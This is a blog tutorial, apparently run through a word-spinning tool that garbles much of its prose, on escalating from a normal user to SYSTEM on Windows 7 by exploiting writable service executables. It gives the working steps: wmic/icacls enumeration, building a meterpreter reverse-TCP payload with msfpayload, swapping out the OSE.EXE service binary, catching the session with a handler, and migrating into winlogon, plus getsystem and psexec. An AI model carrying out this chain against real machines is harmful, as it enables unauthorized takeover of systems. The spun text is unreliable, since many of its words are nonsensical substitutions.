-->
Windows Privilege Escalation Via Weak Service Permissions

Windows Privilege Escalation Via Weak Service Permissions

Windows Privilege Escalation Via Weak Service Permissions

When performing safety testing on a Windows environment, or whatever environs for that matter, i of the things you’ll demand to banking concern stand upwards for is if y'all tin escalate your privileges from a depression privilege user to a high privileged user. No affair what environs y'all are testing in that location are going to live a gain or roles amongst varying privileges, for the most constituent on a local windows environs in that location going to live 3 roles / privileged users.
1. System
2. Administrator
3. Regular user
Most people would retrieve administrator has the highest privilege but truly it’s the organisation account. H5N1 regular user is typically the most express role which may live so express that it can’t fifty-fifty install software. In the previous paragraph I mentioned “local windows environment” that’s because when it comes to a network or active directory environs y'all lead maintain to convey other things into consideration. The scenario I’ll live going over involves a unmarried install of a windows operating system.
So let’s say you’re performing  a safety exam on a organisation / environs where all you’re given is a depression degree privileged problem organisation human relationship but y'all desire to endeavor as well as escalate those privileges so that y'all tin teach “system” degree privileges, what do y'all do? There are a number of routes y'all tin take. Scott Sutherland has written a squeamish article on windows privilege escalation as well as some of the techniques that y'all tin try. Also the guys over at insomniasec.com lead maintain position together a nice document equally good that talks nigh windows privilege escalation. Last but for certain non to the lowest degree pentestmonkey has written a python script that volition search the organisation for potential areas of privilege escalation as well as study back.
Obviously the technique I’m going to live discussing is leveraging windows services that lead maintain depression or weak permissions. For those that aren’t aware a windows service is a procedure that is ran inward the background as well as a regular user would never know that this procedure is running unless they specifically checked for it, pregnant in that location is no “window” or GUI associated amongst a service. But a service is just similar a procedure inward the fact that it’s an executable. You tin decide all the services on your machine past times using the “wmic” command.
wmic service listing brief
Your output should live similar to below, I’ve snipped the output for brevity.
... snip ...

1077      WMPNetworkSvc                   0          Manual     Stopped  OK

1077      WPCSvc                          0          Manual     Stopped  OK

0         WPDBusEnum                      0          Manual     Stopped  OK

0         wscsvc                          752        Auto       Running  OK

0         WSearch                         2140       Auto       Running  OK

0         wuauserv                        856        Auto       Running  OK
First column is the teach out code, minute column is the holler of the service, tertiary column is the procedure ID (PID) of the service, 4th column states how the service is to live started (start mode), 5th column states if the procedure is running (state), as well as the lastly column gives the condition of the service itself. You tin also right click on your taskbar, same bar equally the start menu, as well as so select chore manager. Within the chore manager y'all tin select the “services” tab to run into this same information, buy the farm on inward hear in that location is no services tab within the chore manager for XP for this scenario I’m using windows 7.
When performing safety testing on a Windows environs Windows privilege escalation via weak service permissions
So forthwith that y'all know how to decide what services are available as well as running on a exceptional machine how tin nosotros decide if they lead maintain “weak permissions”? By weak permissions I hateful the folder where the service EXE is allows “write” access. Having write access allows me to supersede that executable amongst my malicious executable, start the service as well as voila I’ve got access. That’s it inward a nutshell but let’s walk through the steps to speedily decide which services are vulnerable as well as how to laid on that vulnerable weak service permission.
On a windows machine in that location tin live a ton of services, going through each folder where the service executable is located, right clicking as well as determining the permission tin live a hurting inward the butt. First thing we’ll demand to do is run a twain of commands to easily line all the permissions for all the services.
for /f "tokens=2 delims='='" %a in ('wmic service listing full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
The get-go command uses wmic to listing the services, looks for the total path of the executable, filters out system32 paths, as well as and so dumps that output to a text file. The minute command parses that text file getting rid of some junk inward the path holler as well as so does the icacls command on that path to decide the permissions on that service executable. H5N1 snippet of the output you’ll run into on the command line is below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
" Users\homer>cmd.exe /c icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe  BUILTIN\IIS_IUSRS:(I)(RX)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files
 
c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
WIN-B5JHUDECH2P\homer:(I)(F)
 
Successfully processed 1 files; Failed processing 0 files
 
c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files
For my exceptional commands I’ve excluded service executables that alive inward c:\windows\system32 folder because to a greater extent than than probable those folders lead maintain the proper permissions because they came packaged amongst windows. The services I’m to a greater extent than interested inward are tertiary political party applications because they teach installed past times a user as well as either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the principal argue why I filter out c:\windows\system32 but if y'all wanted to include that only take away the system32 discovery contention from the command.
The output of the icacls command tin live a niggling confusing but what y'all desire to aspect for is if “BUILTIN\Users” lead maintain total access which volition live designated equally “(F)”. If y'all lead maintain total access to the folder where the service executable lives as well as so y'all tin supersede the service executable amongst your ain malicious service executable. So when the service starts, either at kick automatically or manually, your malicious executable volition run hopefully giving y'all total access to the device. So my snippet of output truly has a  service amongst weak permissions which tin also live seen on line 17 inward the output above.
C:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F)
The “Source Engine” folder is a criterion folder for windows 7 as well as out of the box has the proper permissions, pregnant a regular user volition non lead maintain write access to that folder. For this demonstration I’ve manually modified the permissions of the “Source Engine” folder to highlight the result of improper permissions. So forthwith that you’ve flora a folder of a service that allows the write permission it’s fourth dimension to insert / upload our malicious executable. The most convenient way I’ve flora is using the msfpayload functionality within metasploit. For the uninitiated as well as overwhelmed folks that endeavor to bargain amongst metasploit as well as msfpayload it mightiness just live best to utilisation backtrack. Just catch backtrack which comes amongst everything installed as well as laid upwards to go. I’m non going to buy the farm through all of the steps of getting metasploit upwards as well as running but if y'all lead maintain whatever troubles experience gratuitous to e-mail me (travisaltman@gmail.com) or post a query inward the comments. In backtrack I number the next commands to do a malicious executable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@bt: # ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0c:29:11:1e:53
inet addr:192.168.134.135  Bcast:192.168.134.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:9227 errors:0 dropped:0 overruns:0 frame:0
TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:650604 (650.6 KB)  TX bytes:123409 (123.4 KB)
Interrupt:19 Base address:0x2024
 
root@bt: # cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X > exploit.exe
Created past times msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.134.135", "lport"=>"80"}
root@bt:/pentest/exploits/framework#
The command on line i is only trying to decide the IP address of our machine (ifconfig command) as well as line 3 states that our attacking IP address is 192.168.134.135, we’ll demand this data to do our malicious executable. The side past times side command is on line 12 where y'all alter directories (cd) to the location of the msfpayload command. Line xiii is the most of import command which is the actual command nosotros utilisation to do our malicious executable. This command creates a meterpreter payload as well as the lhost as well as lport are parameters nosotros laid when creating the payload. The lhost is from the output of ifconfig as well as y'all tin specify whatever port y'all like, y'all don’t lead maintain to include lport because past times default it’s 4444. You don’t demand to know details nigh meterpreter for forthwith retrieve of it equally a windows command prompt on steroids. Finally nosotros utilisation the “> exploit.exe” to do the malicious executable inward the electrical flow directory.
Now y'all lead maintain to teach that exploit.exe over to your target windows machine. I’ll leave of absence this upwards to y'all but if y'all run the python uncomplicated http server inward that electrical flow directory as well as so all y'all lead maintain to do on the windows machine is opened upwards up cyberspace explorer position inward the IP address of your laid on machine as well as download exploit.exe. Next position exploit.exe into the folder amongst the weak permissions inward this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should forthwith lead maintain something similar this.
When performing safety testing on a Windows environs Windows privilege escalation via weak service permissions
Next rename the original ose.exe to something unlike as well as holler exploit.exe to ose.exe
When performing safety testing on a Windows environs Windows privilege escalation via weak service permissions
So forthwith we’ve replaced the original executable amongst our malicious executable side past times side we’ll demand to burn upwards metasploit so that it tin convey our connection i time nosotros run our novel executable. So caput over to your Linux box as well as run the msfconsole command.
root@bt:/pentest/exploits/framework#./msfconsole
You should forthwith lead maintain a “msf” console, side past times side run the next commands.
1
2
3
4
5
6
7
8
msf > utilisation exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost 192.168.134.135
lhost => 192.168.134.135
msf  exploit(handler) > set lport 80
lport => 80
msf  exploit(handler) >
At this signal it’s ever a practiced thought to do the “show options” command to brand sure everything is laid upwards correctly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msf  exploit(handler) > exhibit options
 
Module options (exploit/multi/handler):
 
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
 
Payload options (windows/meterpreter/reverse_tcp):
 
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.134.135  yes       The hear address
LPORT     80               yes       The hear port
 
Exploit target:
 
Id  Name
--  ----
0   Wildcard Target
If everything checks out as well as so you’re laid upwards to go, forthwith just type “exploit”. This volition hold back until nosotros run the executable on the target machine but when nosotros do it volition give us dorsum our meterpreter command prompt.
1
2
3
4
msf  exploit(handler) > exploit
 
[*] Started opposite handler on 192.168.134.135:80
[*] Starting the payload handler...
Now on the target windows machine we’ll demand to start the service which volition run our malicious executable as well as so connect dorsum to our laid on machine giving us a command prompt. So run the wmic command below to start the service.
C:\Users\homer>wmic service ose call startservice
You should run into similar output when y'all run this command.
Executing (\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name="ose")->startservice()
Once you’ve started the service forthwith it’s fourth dimension to hop dorsum over to your metasploit command prompt to run into if nosotros teach our meterperter command prompt, y'all should run into the following.
1
2
3
4
[*] Sending phase (752128 bytes) to 192.168.134.134
[*] Meterpreter session 1 opened (192.168.134.135:80 -> 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400
 
meterpreter >
Anytime y'all teach a meterpreter command prompt dorsum that’s unremarkably a win but hold back everything is non equally it seems. After nigh thirty – xl seconds I run into that my meterpreter session ended.
[*] Meterpreter session 1 closed.  Reason: Died
Back on the windows machine there’s also some output on the command prompt.
Method execution successful.
Out Parameters:
illustration of __PARAMETERS
{
ReturnValue = 7;
};
The return value of 7 way that the asking timed out. So bummer nosotros got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don’t throw inward the towel in that location is a way to a greater extent than or less this situation. During those thirty – xl seconds that nosotros lead maintain the meterpreter command prompt nosotros tin migrate to some other process. The concept of migrating is precisely what it sounds like, instead of hooking into our ose.exe malicious executable service nosotros tin hop to some other procedure that is already running amongst organisation privileges. First thing you’ll desire to do is listing all the processes running on the windows machine to decide the PID of a procedure that nosotros tin migrate to, i time over again wmic to the rescue.
wmic procedure listing brief | discovery "winlogon"
Here you’ll desire to decide the PID of the winlogon.exe procedure as well as the 4th column of this output is the PID of the process. Winlogon.exe is a pop executable to migrate to because it’s ever acquaint as well as runs equally the organisation user. You could easily migrate to some other procedure that runs equally organisation as well as to decide this y'all tin run the chore manager as well as aspect for the user that is associated amongst the process. If at get-go y'all don’t run into this brand sure to click “show procedure from all users”. Once y'all lead maintain the PID of the winlogon.exe restart the service past times running the wmic service command, ose.exe inward this case, as well as so speedily migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to some other process.
1
2
3
4
meterpreter > migrate 460
[*] Migrating to 460...
[*] Migration completed successfully.
meterpreter >
Now we’ve successfully migrated to a stable procedure equally the organisation user amongst a restricted user, this was our ultimate goal. We tin decide our electrical flow privilege within meterpreter amongst the next command.
1
2
3
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
At this signal y'all lead maintain total command of the operating organisation as well as y'all tin leverage all the post exploitation goodness that y'all tin teach your hands on. I don’t desire to buy the farm into all the options as well as features of what to do i time you’ve gained organisation access to a windows device I’ll leave of absence that to other folks or a unlike discussion.
There is i other thing to Federal Reserve annotation nigh escalating privileges on a windows device. Meterpreter has an choice to “getsystem” pregnant it tries to teach organisation privileges. The getsystem command is solely going to piece of job inward a handful of scenarios. The 2 principal ways it accomplishes this chore is via an unpatched machine or y'all already lead maintain administrative privileges. In the scenario I’ve described nosotros don’t lead maintain admin privileges as well as our box is fully patched so the argue I’m describing a technique of looking for services amongst weak permissions. H5N1 service that allows total command past times a regular user is a misconfiguration so in that location is no “patch” for this scenario where nosotros tin teach organisation privileges.
Let’s convey a closer aspect at the getsystem command, nosotros tin do this past times only issuing the command below within the meterpreter prompt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter > getsystem -h
Usage: getsystem [options]
 
Attempt to lift your privilege to that of local system.
 
OPTIONS:
 
-h        Help Banner.
-t <opt>  The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)
Options 1-3 all require admin privileges, which nosotros don’t have, as well as choice 4 volition non piece of job if the organisation is patched for the kitrap0d exploit. Let’s just verify that the “getsystem” command within meterpreter volition non piece of job if nosotros don’t leverage something similar a weak service permission. If y'all notwithstanding lead maintain your meterpreter prompt buy the farm ahead as well as teach out out.
1
2
3
4
5
meterpreter > exit
[*] Shutting downwards Meterpreter...
 
[*] Meterpreter session 2 closed.  Reason: User exit
msf  exploit(handler) >
Now instead of launching our malicious executable from the OSE service let’s execute exploit.exe, that nosotros moved over before to our target windows machine, equally a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe equally a regular user nosotros demand to buy the farm dorsum to Linux as well as start our handler.
1
2
3
4
msf  exploit(handler) > exploit
 
[*] Started opposite handler on 192.168.134.135:80
[*] Starting the payload handler...
Now on our windows target machine let’s run our exploit.exe
1
2
3
c:\Users\homer\Desktop>exploit.exe
 
c:\Users\homer\Desktop>
Once nosotros run exploit.exe on our windows target machine y'all should teach dorsum a meterpreter prompt back.
1
2
3
4
[*] Sending phase (752128 bytes) to 192.168.134.134
[*] Meterpreter session 3 opened (192.168.134.135:80 -> 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400
 
meterpreter >
Now let’s endeavor the “getsystem” command as well as run into what happens.
meterpreter > getsystem
Here it just hangs as well as doesn’t do anything, subsequently nigh a infinitesimal it volition finally fault out giving the next output.
1
2
3
meterpreter > getsystem
[-] Error running command getsystem: Rex::TimeoutError Operation timed out.
meterpreter >
So the getsystem command didn’t work. This is to live expected because the user (homer is our user) that executed our exploit.exe is a regular user as well as our windows box is upwards to appointment amongst all the latest patches. If nosotros buy the farm dorsum to our windows machine we’ll run into the next fault message.
When performing safety testing on a Windows environs Windows privilege escalation via weak service permissions
This fault is generated because the kitrap0d exploit fails as well as the exploit fails because the windows box is upwards to appointment amongst all the latest patches. When y'all don’t lead maintain admin as well as the windows box is upwards to appointment in that location is solely a handful of options to escalate your privileges as well as testing for weak permissions is i of those avenues. Going from regular user to a organisation user tin live hard if everything is properly locked downwards but going from an admin user to the organisation user is non that big of a deal. The sysinternals psexec.exe is some other powerful tool every pentester should lead maintain inward his tool bag. Using psexec equally an admin user i tin easily buy the farm the organisation user amongst the “-s” choice so if y'all wanted a command prompt amongst organisation degree privileges all y'all would lead maintain to do is run the next command.
c:\psexec.exe -s cmd.exe
After this you’ll live presented amongst a command prompt amongst organisation degree privileges. I holler psexec just to exhibit y'all how slowly it is to buy the farm the organisation user equally long equally you’re an admin user. The “-s” choice of psexec would non piece of job equally a regular user solely an admin user.
To wrap this all upwards I only wanted to highlight i way of escalating your privilege on a windows device. This is only i method to escalate privileges, in that location are many similar it but this is the i I’m describing. This method is my best friend. It is my life. I must master copy it equally I must master copy my life. Oh sorry, didn’t hateful to buy the farm all full metallic jacket there. So yeah this is i technique as well as tricks similar “getsystem” within meterpreter are handy but buy the farm on inward hear their approaches as well as how they are trying to attain privilege escalation.
If y'all lead maintain whatever feedback nigh this topic delight leave of absence comments below as well as if y'all lead maintain whatever other interesting ways of escalating privileges I would beloved to hear nigh it. If y'all slugged your way through this entire article congrats as well as if y'all run into areas where I could meliorate delight assistance a blood brother past times pointing out areas where I could improve, thanks.
Blogger
Disqus
Pilih Sistem Komentar

No comments

Advertiser